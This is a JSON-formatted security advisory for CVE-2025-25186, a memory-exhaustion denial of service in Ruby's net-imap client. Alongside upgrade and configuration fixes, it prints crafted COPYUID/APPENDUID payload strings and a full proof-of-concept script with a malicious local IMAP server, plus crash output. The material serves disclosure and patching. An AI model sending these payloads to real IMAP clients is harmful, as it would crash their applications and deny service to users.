{"schema_version":"1.9.0","id":"GHSA-7fc5-f82f-cx69","published":"2025-02-10T17:42:43Z","modified":"2026-09-10T03:50:22.610809141Z","aliases":["CVE-2025-25186"],"summary":"Possible DoS by memory exhaustion in net-imap","details":"### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`'s response parser.  At any time while the client is connected, a malicious server can send  can send highly compressed `uid-set` data which is automatically read by the client's receiver thread.  The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP's `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set.  When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers.  On a 64 bit system, these arrays will expand to 8 bytes for each number in the set.  A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server.  This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn't validated.  Arrays larger than\n# UINT32_MAX can be created.  For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n  input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n  parser = Net::IMAP::ResponseParser.new\n  parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n                               parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`.  These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers).  Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference.  Code that does handle these responses _may_ need to be updated.  See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false`  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen  `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses.  However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses.  _This is not significantly different from connecting to a trusted server with a long-lived connection._  To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n  ```ruby\n  limit = 1000\n  imap.add_response_handler do |resp|\n    next unless resp.respond_to?(:name) && resp.respond_to?(:data)\n    name = resp.name\n    code = resp.data.code&.name if resp.data.respond_to?(:code)\n    if Net::IMAP::VERSION > \"0.4.0\"\n      imap.responses(name) { _1.slice!(0...-limit) }\n      imap.responses(code) { _1.slice!(0...-limit) }\n    else\n      imap.responses(name).slice!(0...-limit)\n      imap.responses(code).slice!(0...-limit)\n    end\n  end\n  ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire 'socket'\nrequire 'net/imap'\n\nif !defined?(Net::IMAP.config)\n  puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n  puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n  puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n  Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n  TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n  th = Thread.new do\n    yield\n  end\n  sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n  sock = server.accept\n  begin\n    sock.print \"* OK test server\\r\\n\"\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n\n    malicious_response = appenduid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n\n    malicious_response = copyuid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n    sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n    sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n    sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n    sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n  rescue Exception => ex\n    puts \"Error in server: #{ex.message} (#{ex.class})\"\n  ensure\n    sock.close\n    server.close\n  end\nend\n\n# client\nbegin\n  puts \"Client connecting,..\"\n  imap = Net::IMAP.new(server_addr, port: port)\n  puts \"Received capabilities: #{imap.capability}\"\n  pp responses: imap.responses\n  imap.logout\nrescue Exception => ex\n  puts \"Error in client: #{ex.message} (#{ex.class})\"\n  puts ex.full_message\nensure\n  imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process's virtual memory.  The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 && exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'\n        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'\n        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'\n        from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'\n        from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'\n        from /workspace/poc.rb:70:in '<main>'\n```","affected":[{"package":{"name":"net-imap","ecosystem":"RubyGems","purl":"pkg:gem/net-imap"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.2"},{"fixed":"0.3.8"}]}],"versions":["0.3.2","0.3.3","0.3.4","0.3.4.1","0.3.5","0.3.6","0.3.7"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/02/GHSA-7fc5-f82f-cx69/GHSA-7fc5-f82f-cx69.json"}},{"package":{"name":"net-imap","ecosystem":"RubyGems","purl":"pkg:gem/net-imap"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.0"},{"fixed":"0.4.19"}]}],"versions":["0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.14","0.4.15","0.4.16","0.4.17","0.4.18","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.4.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/02/GHSA-7fc5-f82f-cx69/GHSA-7fc5-f82f-cx69.json"}},{"package":{"name":"net-imap","ecosystem":"RubyGems","purl":"pkg:gem/net-imap"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.5.0"},{"fixed":"0.5.6"}]}],"versions":["0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/02/GHSA-7fc5-f82f-cx69/GHSA-7fc5-f82f-cx69.json"}}],"references":[{"type":"WEB","url":"https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-25186"},{"type":"WEB","url":"https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35"},{"type":"WEB","url":"https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3"},{"type":"WEB","url":"https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022"},{"type":"PACKAGE","url":"https://github.com/ruby/net-imap"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml"},{"type":"WEB","url":"https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html"},{"type":"WEB","url":"https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html"},{"type":"WEB","url":"https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html"}],"database_specific":{"cwe_ids":["CWE-1287","CWE-400","CWE-405","CWE-409","CWE-770","CWE-789"],"github_reviewed":true,"github_reviewed_at":"2025-02-10T17:42:43Z","nvd_published_at":"2025-02-10T16:15:39Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}